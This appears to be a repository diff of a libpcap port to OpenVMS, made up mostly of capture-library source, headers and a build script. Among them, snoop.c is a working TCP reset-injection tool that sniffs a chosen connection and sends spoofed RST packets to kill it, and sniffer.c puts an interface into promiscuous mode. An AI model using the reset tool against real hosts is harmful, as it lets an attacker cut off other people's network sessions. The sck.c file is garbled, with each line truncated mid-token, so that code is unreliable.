(p->sf.version_minor == 3 && hdr->caplen > hdr->len)) {
int t = hdr->caplen;
hdr->caplen = hdr->len;
hdr->len = t;
}
if (hdr->caplen > buflen) {
/*
* This can happen due to Solaris 2.3 systems tripping
* over the BUFMOD problem and not setting the snapshot
* correctly in the savefile header. If the caplen isn't
* grossly wrong, try to salvage.
*/
static u_char *tp = NULL;
static int tsize = 0;
if (hdr->caplen > 65535) {
snprintf(p->errbuf, PCAP_ERRBUF_SIZE,
"bogus savefile header");
return (-1);
}
if (tsize < hdr->caplen) {
tsize = ((hdr->caplen + 1023) / 1024) * 1024;
if (tp != NULL)
free((u_char *)tp);
tp = (u_char *)malloc(tsize);
if (tp == NULL) {
tsize = 0;
snprintf(p->errbuf, PCAP_ERRBUF_SIZE,
"BUFMOD hack malloc");
return (-1);
}
}
if (fread((char *)tp, hdr->caplen, 1, fp) != 1) {
snprintf(p->errbuf, PCAP_ERRBUF_SIZE,
"truncated dump file");
return (-1);
}
/*
* We can only keep up to buflen bytes. Since caplen > buflen
* is exactly how we got here, we know we can only keep the
* first buflen bytes and must drop the remainder. Adjust
* caplen accordingly, so we don't get confused later as
* to how many bytes we have to play with.
*/
hdr->caplen = buflen;
memcpy((char *)buf, (char *)tp, buflen);
} else {
/* read the packet itself */
if (fread((char *)buf, hdr->caplen, 1, fp) != 1) {
snprintf(p->errbuf, PCAP_ERRBUF_SIZE,
"truncated dump file");
return (-1);
}
}
return (0);
}
/*
* Print out packets stored in the file initialized by sf_read_init().
* If cnt > 0, return after 'cnt' packets, otherwise continue until eof.
*/
int
pcap_offline_read(pcap_t *p, int cnt, pcap_handler callback, u_char *user)
{
struct bpf_insn *fcode = p->fcode.bf_insns;
int status = 0;
int n = 0;
while (status == 0) {
struct pcap_pkthdr h;
status = sf_next_packet(p, &h, p->buffer, p->bufsize);
if (status) {
if (status == 1)
return (0);
return (status);
}
if (fcode == NULL ||
bpf_filter(fcode, p->buffer, h.len, h.caplen)) {
(*callback)(user, &h, p->buffer);
if (++n >= cnt && cnt > 0)
break;
}
}
/*XXX this breaks semantics tcpslice expects */
return (n);
}
/*
* Output a packet to the initialized dump file.
*/
void
pcap_dump(u_char *user, const struct pcap_pkthdr *h, const u_char *sp)
{
register FILE *f;
struct pcap_sf_pkthdr sf_hdr;
f = (FILE *)user;
sf_hdr.ts.tv_sec = h->ts.tv_sec;
sf_hdr.ts.tv_usec = h->ts.tv_usec;
sf_hdr.caplen = h->caplen;
sf_hdr.len = h->len;
/* XXX we should check the return status */
(void)fwrite(&sf_hdr, sizeof(sf_hdr), 1, f);
(void)fwrite((char *)sp, h->caplen, 1, f);
}
/*
* Initialize so that sf_write() will output to the file named 'fname'.
*/
pcap_dumper_t *
pcap_dump_open(pcap_t *p, const char *fname)
{
FILE *f;
int linktype;
linktype = dlt_to_linktype(p->linktype);
if (linktype == -1) {
snprintf(p->errbuf, PCAP_ERRBUF_SIZE,
"%s: link-layer type %d isn't supported in savefiles",
fname, linktype);
return (NULL);
}
if (fname[0] == '-' && fname[1] == '\0') {
f = stdout;
#ifdef WIN32
_setmode(_fileno(f), _O_BINARY);
#endif
} else {
#ifndef WIN32
f = fopen(fname, "w");
#else
f = fopen(fname, "wb");
setbuf(f, NULL); /* XXX - why? */
#endif
if (f == NULL) {
snprintf(p->errbuf, PCAP_ERRBUF_SIZE, "%s: %s",
fname, pcap_strerror(errno));
return (NULL);
}
}
(void)sf_write_header(f, linktype, p->tzoff, p->snapshot);
return ((pcap_dumper_t *)f);
}
void
pcap_dump_close(pcap_dumper_t *p)
{
#ifdef notyet
if (ferror((FILE *)p))
return-an-error;
/* XXX should check return from fclose() too */
#endif
(void)fclose((FILE *)p);
}

3762
Pcap-VMS/pcap-vci/scanner.c Normal file

File diff suppressed because it is too large Load Diff

38
Pcap-VMS/pcap-vci/sck.c Normal file
View File

@@ -0,0 +1,38 @@
#include <in.
#include <socket.
#include <stdlib.
#include <stdio.
#pragma __required_pointer_size __sa
#pragma __required_pointer_size sho
extern void *decc$malloc(size_t size
#define short_malloc decc$mall
#pragma __required_pointer_size __resto
main
int s = -1, rc =
unsigned int
struct sockaddr_in s
struct sockaddr_in *alloc_s
sa.sin_family = AF_INE
s = socket(sa.sin_family, SOCK_STREAM, 0
printf("socket returned is %d\n", s
rc = bind(s, (struct sockaddr *)&sa, sizeof(sa)
printf("bind rc is %d\n", rc
rc = listen(s, 2
printf("listen rc is %d\n", rc
l = sizeof(sa
rc = getsockname(s, (struct sockaddr *)&sa, &l
printf("getsockname (stack call) rc is %d\n", rc
alloc_sa = (struct sockaddr_in *)short_malloc(sizeof(sa)
rc = getsockname(s, (struct sockaddr *)alloc_sa, &l
printf("getsockname (alloc call) rc is %d\n", rc

124
Pcap-VMS/pcap-vci/sll.h Normal file
View File

@@ -0,0 +1,124 @@
/*-
* Copyright (c) 1990, 1991, 1992, 1993, 1994, 1995, 1996, 1997
* The Regents of the University of California. All rights reserved.
*
* This code is derived from the Stanford/CMU enet packet filter,
* (net/enet.c) distributed as part of 4.3BSD, and code contributed
* to Berkeley by Steven McCanne and Van Jacobson both of Lawrence
* Berkeley Laboratory.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* 3. All advertising materials mentioning features or use of this software
* must display the following acknowledgement:
* This product includes software developed by the University of
* California, Berkeley and its contributors.
* 4. Neither the name of the University nor the names of its contributors
* may be used to endorse or promote products derived from this software
* without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*
* @(#) $Header: /tcpdump/master/libpcap/sll.h,v 1.7 2002/06/11 17:04:48 itojun Exp $ (LBL)
*/
/*
* For captures on Linux cooked sockets, we construct a fake header
* that includes:
*
* a 2-byte "packet type" which is one of:
*
* LINUX_SLL_HOST packet was sent to us
* LINUX_SLL_BROADCAST packet was broadcast
* LINUX_SLL_MULTICAST packet was multicast
* LINUX_SLL_OTHERHOST packet was sent to somebody else
* LINUX_SLL_OUTGOING packet was sent *by* us;
*
* a 2-byte Ethernet protocol field;
*
* a 2-byte link-layer type;
*
* a 2-byte link-layer address length;
*
* an 8-byte source link-layer address, whose actual length is
* specified by the previous value.
*
* All fields except for the link-layer address are in network byte order.
*
* DO NOT change the layout of this structure, or change any of the
* LINUX_SLL_ values below. If you must change the link-layer header
* for a "cooked" Linux capture, introduce a new DLT_ type (ask
* "tcpdump-workers@tcpdump.org" for one, so that you don't give it a
* value that collides with a value already being used), and use the
* new header in captures of that type, so that programs that can
* handle DLT_LINUX_SLL captures will continue to handle them correctly
* without any change, and so that capture files with different headers
* can be told apart and programs that read them can dissect the
* packets in them.
*/
/*
* A DLT_LINUX_SLL fake link-layer header.
*/
#define SLL_HDR_LEN 16 /* total header length */
#define SLL_ADDRLEN 8 /* length of address field */
struct sll_header {
u_int16_t sll_pkttype; /* packet type */
u_int16_t sll_hatype; /* link-layer address type */
u_int16_t sll_halen; /* link-layer address length */
u_int8_t sll_addr[SLL_ADDRLEN]; /* link-layer address */
u_int16_t sll_protocol; /* protocol */
};
/*
* The LINUX_SLL_ values for "sll_pkttype"; these correspond to the
* PACKET_ values on Linux, but are defined here so that they're
* available even on systems other than Linux, and so that they
* don't change even if the PACKET_ values change.
*/
#define LINUX_SLL_HOST 0
#define LINUX_SLL_BROADCAST 1
#define LINUX_SLL_MULTICAST 2
#define LINUX_SLL_OTHERHOST 3
#define LINUX_SLL_OUTGOING 4
/*
* The LINUX_SLL_ values for "sll_protocol"; these correspond to the
* ETH_P_ values on Linux, but are defined here so that they're
* available even on systems other than Linux. We assume, for now,
* that the ETH_P_ values won't change in Linux; if they do, then:
*
* if we don't translate them in "pcap-linux.c", capture files
* won't necessarily be readable if captured on a system that
* defines ETH_P_ values that don't match these values;
*
* if we do translate them in "pcap-linux.c", that makes life
* unpleasant for the BPF code generator, as the values you test
* for in the kernel aren't the values that you test for when
* reading a capture file, so the fixup code run on BPF programs
* handed to the kernel ends up having to do more work.
*
* Add other values here as necessary, for handling packet types that
* might show up on non-Ethernet, non-802.x networks. (Not all the ones
* in the Linux "if_ether.h" will, I suspect, actually show up in
* captures.)
*/
#define LINUX_SLL_P_802_3 0x0001 /* Novell 802.3 frames without 802.2 LLC header */
#define LINUX_SLL_P_802_2 0x0004 /* 802.2 frames (not D/I/X Ethernet) */

159
Pcap-VMS/pcap-vci/sniffer.c Normal file
View File

@@ -0,0 +1,159 @@
#define INTERFACE "we0" /* The interface to read from */
#define PRINT_HDR 0 /* 0 if you don't wanna print the ip header */
#define D_FILTER 1 /* 1=on 0=off, (filter for doubled packets on
the loopback) */
/* They (below) are lots of headers we won't need now, but I included them
* anyway
*/
#include <sys/types.h>
#include <tcpip$examples/in.h>
#include <tcpip$examples/netdb.h>
#include <string.h>
#include <tcpip$examples/inet.h>
#include <tcpip$examples/socket.h>
#include <tcpip$examples/in.h>
#include <tcpip$examples/if.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <signal.h>
#include <stdio.h>
#include <tcpip$examples/tcp.h>
//#include "ip.h"
//#include <tcpip$examples/if_ether.h>
/* arg1: the ip in net byte order
* return: the ip address in dot number form
*/
char *get_ip( unsigned long int net_byte_order )
{
struct in_addr bytestr;
static char dot_ip[50];
bytestr.s_addr = net_byte_order;
strncpy(dot_ip, inet_ntoa(bytestr), 50);
return(dot_ip);
}
main()
{
struct ifreq ifr;
int sock;
char buf[1596];
struct iphdr *ip; /* Pointer to the ip header */
struct tcphdr *tcp; /* Pointer to the tcp header */
/*********** PART 1 ***********/
/* Create the socket, we need a socket of type SOCK_PACKET in order
* to read given frames from an interface
*/
if( (sock = socket(AF_INET, SOCK_PACKET, htons(ETH_P_ALL)))== -1)
{
printf("Can't create socket\n");
exit(0);
}
printf("ifr.ifr_flags:\n");
printf("Before we gets the interface flag: %d\n",ifr.ifr_flags);
/* Get the interface flags
*/
strcpy(ifr.ifr_name, INTERFACE);
if(ioctl(sock, SIOCGIFFLAGS, &ifr) < 0)
{
printf("error: ioctl SIOCGIFFLAGS");
exit(0);
}
printf("After we got the flag: %d\n",ifr.ifr_flags);
ifr.ifr_flags |= IFF_PROMISC;
/* Set the interface flags. We set our IFF_PROMISC flag
*/
if (ioctl(sock, SIOCSIFFLAGS, &ifr) < 0)
{
printf("error: ioctl SIOCSIFFLAGS\n");
exit(0);
}
printf("After a new flag is set: %d\n",ifr.ifr_flags);
/*********** PART 2 ***********/
for(;;)
{
int n=0;
static int c=0;
for(;n<1;)
{
n = read(sock, buf, sizeof(buf));
}
/* Loopback double filter */
c++;
if(c==D_FILTER)continue;
c=0;
ip = (struct iphdr *)(buf + 14); /* buf + eth */
/* Since we got a pointer to the ip head from above, we can use
* ip->ihl to get the lenght of the ip header.. cool :-).
* ihl means Internet Header Length
*/
tcp = (struct tcphdr*)(buf + 14 + (4 * ip->ihl));
/* Continue if the protocol is other then tcp
* check /etc/protocols
*/
if(ip->protocol!=6)continue;
/* Get all flags on the packet */
if(tcp->th_flags & TH_SYN)printf("syn ");
if(tcp->th_flags & TH_ACK)printf("ack ");
if(tcp->th_flags & TH_RST)printf("rst ");
if(tcp->th_flags & TH_PUSH)printf("push ");
if(tcp->th_flags & TH_FIN)printf("fin ");
if(tcp->th_flags & TH_URG)printf("urg ");
/* Print the ip address and port number
*/
printf("S=%s -%d- ",get_ip(ip->saddr),ntohs(tcp->th_sport));
printf("D=%s -%d-\n", get_ip(ip->daddr),ntohs(tcp->th_dport));
/* Config stuff at the top of the source
*/
/* Continue if we do not wanna print the ip header
*/
if(PRINT_HDR == 0) continue;
/* Print IP header information
*/
printf("IPv%d ihl:%d tos:%d tot_len:%d id:%d frag_off %d ttl:%d "
"proto:%d chksum %d\n",
ip->version,
ip->ihl,
ip->tos,
ip->tot_len,
ip->id,
ip->frag_off,
ip->ttl,
ip->protocol,
ntohs(ip->check)
);
}
return 0;
}

247
Pcap-VMS/pcap-vci/snoop.c Normal file
View File

@@ -0,0 +1,247 @@
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <ctype.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <tcpip$examples/in.h>
#include <tcpip$examples/ip.h>
#include <tcpip$examples/tcp.h>
#include <tcpip$examples/if_ether.h>
#include <tcpip$examples/if.h>
#include <ioctls.h>
#define RSTS 10
#define IF "eth0"
int sp_fd;
unsigned short ip_fast_csum(unsigned char *iph,unsigned long ihl) {
unsigned long sum;
__asm__ __volatile__("
movl (%1), %0
subl $4, %2
jbe 2f
addl 4(%1), %0
adcl 8(%1), %0
adcl 12(%1), %0
1: adcl 16(%1), %0
lea 4(%1), %1
decl %2
jne 1b
adcl $0, %0
movl %0, %2
shrl $16, %0
addw %w2, %w0
adcl $0, %0
notl %0
2:
"
: "=r" (sum), "=r" (iph), "=r" (ihl)
: "1" (iph), "2" (ihl));
return(sum);
}
struct tcppk {
struct iphdr ip;
struct tcphdr tcp;
char data[1500];
};
struct pseudo {
unsigned long saddr, daddr;
unsigned char zero, proto;
unsigned short len;
};
void raw(void)
{
int opt=1;
if((sp_fd=socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) <0){
perror("\nRAWIP() RAW Socket problems [Died]");
exit();
}
if(setsockopt(sp_fd, IPPROTO_IP, IP_HDRINCL, &opt, sizeof(opt)) <0){
perror("RAWIP() Cannot set IP_HDRINCL [Died]");
exit();
}
}
int tap(char* device,int mode)
{
int fd;
struct ifreq ifr;
if((fd=socket(AF_INET, SOCK_PACKET, htons(0x3))) <0){
perror("SNIFF() SOCK_PACKET allocation problems [Died]");
exit();
}
strcpy(ifr.ifr_name,device);
if((ioctl(fd, SIOCGIFFLAGS, &ifr)) <0){
perror("SNIFF() Can't get device flags [Died]");
close(fd);
exit();
}
if(!mode)ifr.ifr_flags ^= IFF_PROMISC;
else ifr.ifr_flags |= IFF_PROMISC;
if((ioctl(fd, SIOCSIFFLAGS, &ifr)) <0){
perror("SNIFF() Can't set/unset promiscuous mode [Died]");
close(fd);
exit();
}
if(!mode){
close(fd);
return(0);
}
else return(fd);
}
unsigned long in_aton(const char *str)
{
unsigned long l;
unsigned long val;
int i;
l = 0;
for (i = 0; i < 4; i++)
{
l <<= 8;
if (*str != '\0')
{
val = 0;
while (*str != '\0' && *str != '.')
{
val *= 10;
val += *str - '0';
str++;
}
l |= val;
if (*str != '\0')
str++;
}
}
return(htonl(l));
}
void uff(void) {
printf("\nUso: RST sourceIP src_port destIP dest_port\n\n");
exit(1);
}
int main(int argc, char **argv) {
unsigned char buffer[1500], checkbuff[32], checkbuff2[32];
struct sockaddr_in sin, sin2;
struct iphdr *ip;
struct tcphdr *tcp;
struct pseudo *psp, *psp2;
struct tcppk tpk, tpk2;
int sniff, snt, snt2, rst=0;
unsigned long saddr, daddr;
unsigned short src, dest;
if(argc<5) {
uff();
exit(1);
}
saddr=in_aton(argv[1]);daddr=in_aton(argv[3]);
src=htons(atoi(argv[2]));dest=htons(atoi(argv[4]));
sniff=tap(IF, 1);
raw();
if(setpriority(0, 0, -20) <0){
printf("\nRST setpriority Error\n");
}
ip = (struct iphdr *)(((char *)buffer)+14);
tcp = (struct tcphdr *)(((char *)buffer)+(sizeof(struct iphdr)+14));
psp = (struct pseudo *)checkbuff;
psp2 = (struct pseudo *)checkbuff2;
memset(&sin, 0, sizeof(sin));
sin.sin_family=AF_INET;
sin.sin_port=src;
sin.sin_addr.s_addr=saddr;
memset(&sin2, 0, sizeof(sin2));
sin.sin_family=AF_INET;
sin.sin_port=dest;
sin.sin_addr.s_addr=daddr;
memset(&tpk, 0, sizeof(tpk));
memset(&tpk2, 0, sizeof(tpk2));
memset(psp, 0, sizeof(struct pseudo));
memset(psp2, 0, sizeof(struct pseudo));
tpk.ip.ihl=5;
tpk.ip.version=4;
tpk.ip.tos=0;
tpk.ip.tot_len=htons(40);
tpk.ip.frag_off=0;
tpk.ip.ttl=64;
tpk.ip.protocol=IPPROTO_TCP;
tpk.ip.saddr=daddr;
tpk.ip.daddr=saddr;
tpk.tcp.source=dest;
tpk.tcp.dest=src;
tpk.tcp.doff=5;
tpk.tcp.rst=1;
tpk.tcp.ack=1;
tpk.tcp.window=0;
psp->saddr=tpk.ip.daddr;
psp->daddr=tpk.ip.saddr;
psp->zero=0;
psp->proto=IPPROTO_TCP;
psp->len=htons(20);
tpk2=tpk;
tpk2.ip.saddr=saddr;
tpk2.ip.daddr=daddr;
tpk2.tcp.source=src;
tpk2.tcp.dest=dest;
psp2->saddr=tpk.ip.saddr;
psp2->daddr=tpk.ip.daddr;
psp2->zero=0;
psp2->proto=IPPROTO_TCP;
psp2->len=htons(20);
printf("RSTing :\t%s:%d > %s:%d\n",
argv[1], src, argv[3], dest);
while(read(sniff, &buffer, sizeof(buffer))) {
if(ip->saddr==daddr &&
ip->daddr==saddr &&
tcp->source==dest &&
tcp->dest==src) {
tpk.tcp.seq=tcp->seq+htonl(
ntohs(ip->tot_len)-40);
tpk.tcp.ack_seq=tcp->ack_seq;
tpk2.tcp.seq=tcp->ack_seq;
tpk2.tcp.ack_seq=tcp->seq+htonl(
ntohs(ip->tot_len)-40);
memcpy(checkbuff+12, &tpk.tcp, 20);
tpk.tcp.check=ip_fast_csum(
(unsigned char *)checkbuff,32);
memcpy(checkbuff2+12, &tpk2.tcp, 20);
tpk2.tcp.check=ip_fast_csum(
(unsigned char *)checkbuff2,32);
for(; rst<RSTS; rst++) {
snt2=sendto(sp_fd, &tpk2, 40, 0,
(struct sockaddr *)&sin2, sizeof(sin2));
snt=sendto(sp_fd, &tpk, 40, 0,
(struct sockaddr *)&sin, sizeof(sin));
if(snt<0)printf("[SP00F_ERROR]");
else printf("[RST]");
}
break;
}
}
printf("\n");
tap(IF, 0);
exit(0);
}

1025
Pcap-VMS/pcap-vci/snprintf.c Normal file

File diff suppressed because it is too large Load Diff

View File

@@ -0,0 +1,26 @@
#ifndef _PORTABLE_SNPRINTF_H_
#define _PORTABLE_SNPRINTF_H_
#define PORTABLE_SNPRINTF_VERSION_MAJOR 2
#define PORTABLE_SNPRINTF_VERSION_MINOR 2
#ifdef HAVE_SNPRINTF
#include <stdio.h>
#else
extern int snprintf(char *, size_t, const char *, /*args*/ ...);
extern int vsnprintf(char *, size_t, const char *, va_list);
#endif
#if defined(HAVE_SNPRINTF) && defined(PREFER_PORTABLE_SNPRINTF)
extern int portable_snprintf(char *str, size_t str_m, const char *fmt, /*args*/ ...);
extern int portable_vsnprintf(char *str, size_t str_m, const char *fmt, va_list ap);
#define snprintf portable_snprintf
#define vsnprintf portable_vsnprintf
#endif
extern int asprintf (char **ptr, const char *fmt, /*args*/ ...);
extern int vasprintf (char **ptr, const char *fmt, va_list ap);
extern int asnprintf (char **ptr, size_t str_m, const char *fmt, /*args*/ ...);
extern int vasnprintf(char **ptr, size_t str_m, const char *fmt, va_list ap);
#endif

View File

@@ -0,0 +1,48 @@
#include <ctype.h> /* Character type classification macros/routines */
#include <descrip.h> /* For VMS descriptor manipulation */
#include <iodef.h> /* I/O function code definitions */
#include <ssdef.h> /* System service return status code definitions */
#include <starlet.h> /* System library routine prototypes */
#include <stdio.h> /* ANSI C Standard Input/Output */
#include <stdlib.h> /* General utilities */
#include <string.h> /* String handling */
#include <stsdef.h> /* VMS status code definitions */
#include <unistd.h>
#include <ioctl.h>
#include <socket.h>
#include <in.h>
#include <if.h>
int main(void)
{
int status;
int one = 1;
char buf[2048];
int cc;
struct sockaddr_in rsock;
int fd;
struct ifreq ifr;
int len;
fd = socket(AF_DLI, SOCK_RAW, IPPROTO_RAW);
status = setsockopt(fd, IPPROTO_IP, IP_HDRINCL, &one, sizeof(one));
strncpy(ifr.ifr_name, "WE0", sizeof(ifr.ifr_name));
status = ioctl(fd, SIOCGIFFLAGS, &ifr);
ifr.ifr_ifru.ifru_flags |= IFF_PROMISC;
status = ioctl(fd, SIOCSIFFLAGS, &ifr);
memset(&rsock, 0, sizeof(rsock));
rsock.sin_family = AF_INET;
rsock.sin_port = 0;
rsock.sin_addr.s_addr = INADDR_ANY;
// strncpy(rsock.sa_data, "WE0", sizeof(rsock.sa_data));
status = bind(fd, &rsock, sizeof(rsock));
len = sizeof(rsock);
cc = recvfrom(fd, buf, 1500,0, &rsock, &len);
return 1;
}

2075
Pcap-VMS/pcap-vci/ssubs.c Normal file

File diff suppressed because it is too large Load Diff

View File

@@ -0,0 +1,45 @@
/*
* Copyright (c) 1997 Yen Yen Lim and North Dakota State University
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* 3. All advertising materials mentioning features or use of this software
* must display the following acknowledgement:
* This product includes software developed by Yen Yen Lim and
North Dakota State University
* 4. The name of the author may not be used to endorse or promote products
* derived from this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
* IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
* WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
* DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT,
* INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
* (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
* SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
* STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN
* ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
* POSSIBILITY OF SUCH DAMAGE.
*
* @(#) $Header: /tcpdump/master/libpcap/sunatmpos.h,v 1.1 2002/07/11 09:06:47 guy Exp $ (LBL)
*/
/* SunATM header for ATM packet */
#define SUNATM_DIR_POS 0
#define SUNATM_VPI_POS 1
#define SUNATM_VCI_POS 2
#define SUNATM_PKT_BEGIN_POS 4 /* Start of ATM packet */
/* Protocol type values in the bottom for bits of the byte at SUNATM_DIR_POS. */
#define PT_LANE 0x01 /* LANE */
#define PT_LLC 0x02 /* LLC encapsulation */
#define PT_ILMI 0x05 /* ILMI */
#define PT_QSAAL 0x06 /* Q.SAAL */

102
Pcap-VMS/pcap-vci/tokdefs.h Normal file
View File

@@ -0,0 +1,102 @@
#ifndef BISON_Y_TAB_H
# define BISON_Y_TAB_H
#ifndef YYSTYPE
typedef union {
int i;
bpf_u_int32 h;
u_char *e;
char *s;
struct stmt *stmt;
struct arth *a;
struct {
struct qual q;
int atmfieldtype;
struct block *b;
} blk;
struct block *rblk;
} yystype;
# define YYSTYPE yystype
# define YYSTYPE_IS_TRIVIAL 1
#endif
# define DST 257
# define SRC 258
# define HOST 259
# define GATEWAY 260
# define NET 261
# define MASK 262
# define PORT 263
# define LESS 264
# define GREATER 265
# define PROTO 266
# define PROTOCHAIN 267
# define CBYTE 268
# define ARP 269
# define RARP 270
# define IP 271
# define SCTP 272
# define TCP 273
# define UDP 274
# define ICMP 275
# define IGMP 276
# define IGRP 277
# define PIM 278
# define VRRP 279
# define ATALK 280
# define AARP 281
# define DECNET 282
# define LAT 283
# define SCA 284
# define MOPRC 285
# define MOPDL 286
# define TK_BROADCAST 287
# define TK_MULTICAST 288
# define NUM 289
# define INBOUND 290
# define OUTBOUND 291
# define LINK 292
# define GEQ 293
# define LEQ 294
# define NEQ 295
# define ID 296
# define EID 297
# define HID 298
# define HID6 299
# define AID 300
# define LSH 301
# define RSH 302
# define LEN 303
# define IPV6 304
# define ICMPV6 305
# define AH 306
# define ESP 307
# define VLAN 308
# define ISO 309
# define ESIS 310
# define ISIS 311
# define CLNP 312
# define STP 313
# define IPX 314
# define NETBEUI 315
# define LANE 316
# define LLC 317
# define METAC 318
# define BCC 319
# define SC 320
# define ILMIC 321
# define OAMF4EC 322
# define OAMF4SC 323
# define OAM 324
# define OAMF4 325
# define CONNECTMSG 326
# define METACONNECT 327
# define VPI 328
# define VCI 329
# define OR 330
# define AND 331
# define UMINUS 332
extern YYSTYPE pcap_lval;
#endif /* not BISON_Y_TAB_H */

100
Pcap-VMS/pcap-vci/vcmutil.c Normal file
View File

@@ -0,0 +1,100 @@
#include <string.h>
#include <stdlib.h>
#include "pcapvcm.h"
void add_lil_item(LILDEF *lil, int len, int tag, char *value)
{
LILITEM *lilitm;
lilitm = (LILITEM *)lil->lil$a_listadr + lil->lil$l_listlen;
lilitm->len = len + 4; // Includes len and tag!
lilitm->tag = tag;
memcpy((char *)&lilitm->val, value, len);
lil->lil$l_listlen = len + 4; // 4 is len+tag
}
void add_lil_addr_value(LILDEF *lil, int len, int tag, char *value)
{
LILITEM *lilitm;
char **foo;
char *tmp;
lilitm = (LILITEM *) lil->lil$a_listadr + lil->lil$l_listlen;
lilitm->len = len + 4; // Includes len and tag!
lilitm->tag = tag;
foo = (char **) &lilitm->val;
*foo = (char *) &lilitm->val + sizeof(char *);
tmp = *foo;
memcpy(tmp, value, len);
lil->lil$l_listlen = len + 4 + sizeof(char *); // 4 is len+tag
}
/*
** Ethernet device setup helper routines
*/
char *add_int_value(char *buf, short code, int value)
{
char *tmpptr = buf;
short *sptr;
int *iptr;
sptr = (short *)tmpptr;
*sptr = (short) code;
tmpptr += 2;
iptr = (int *) tmpptr;
*iptr = 0;
*iptr = (int) value;
tmpptr += 4;
return tmpptr;
}
char *add_counted_value(char *buf, short code, short len, char *value)
{
char *tmpptr = buf;
short *sptr;
sptr = (short *)tmpptr;
*sptr = (short) code;
tmpptr += 2;
sptr = (short *) tmpptr;
*sptr = (short) len;
tmpptr += 2;
memcpy(tmpptr,value,len);
tmpptr += len;
return tmpptr;
}
int find_value(int buflen, char *buf, short code, char *retbuf)
{
int i = 0;
int item;
char *tmpbuf = buf;
int value;
int status = 0;
while (i < buflen) {
item = (tmpbuf[i] + (tmpbuf[i+1]<<8));
if (0x1000 & item) {
if ((item & 0xFFF) == code) {
memcpy(retbuf, &tmpbuf[i+4],6);
status = 1;
break;
}
i += (tmpbuf[i+2] + (tmpbuf[i+3]<<8)) + 4;
} else {
// A value, ours?
if ((item & 0xFFF) == code) {
// Yep, return it
memcpy(retbuf, &tmpbuf[i+2], 4);
status = 1;
break;
}
i += 6;
}
}
return status;
}

View File

@@ -0,0 +1,36 @@
$ if f$search("pcap.olb") .eqs. ""
$ then
$ libr/crea pcap.olb
$ endif
$ cc/name=(as_is,shortened)/debug/nomember_align/noopt/include=sys$disk:[] bpf_dump
$ libr/replace pcap bpf_dump
$ cc/name=(as_is,shortened)/debug/nomember_align/noopt/include=sys$disk:[] bpf_filter
$ libr/replace pcap bpf_filter
$ cc/name=(as_is,shortened)/debug/nomember_align/noopt/include=sys$disk:[] bpf_image
$ libr/replace pcap bpf_image
$ cc/name=(as_is,shortened)/debug/nomember_align/noopt/include=sys$disk:[] etherent
$ libr/replace pcap etherent
$ cc/name=(as_is,shortened)/debug/nomember_align/noopt/include=sys$disk:[] fad-gifc
$ libr/replace pcap fad-gifc
$ cc/name=(as_is,shortened)/debug/nomember_align/noopt/include=sys$disk:[] gencode
$ libr/replace pcap gencode
$ cc/name=(as_is,shortened)/debug/nomember_align/noopt/include=sys$disk:[] grammar
$ libr/replace pcap grammar
$ cc/name=(as_is,shortened)/debug/nomember_align/noopt/include=sys$disk:[] inet
$ libr/replace pcap inet
$ cc/name=(as_is,shortened)/debug/nomember_align/noopt/include=sys$disk:[] nametoaddr
$ libr/replace pcap nametoaddr
$ cc/name=(as_is,shortened)/debug/nomember_align/noopt/include=sys$disk:[] optimize
$ libr/replace pcap optimize
$ cc/name=(as_is,shortened)/debug/nomember_align/noopt/include=sys$disk:[] pcap
$ libr/replace pcap pcap
$ cc/name=(as_is,shortened)/debug/nomember_align/noopt/include=sys$disk:[] savefile
$ libr/replace pcap savefile
$ cc/name=(as_is,shortened)/debug/nomember_align/noopt/include=sys$disk:[] scanner
$ libr/replace pcap scanner
$ cc/name=(as_is,shortened)/debug/nomember_align/noopt/include=sys$disk:[] snprintf
$ libr/replace pcap snprintf
$ cc/name=(as_is,shortened)/debug/nomember_align/noopt/include=sys$disk:[] pcap-vms
$ libr/replace pcap pcap-vms
$ exit

View File

@@ -0,0 +1,64 @@
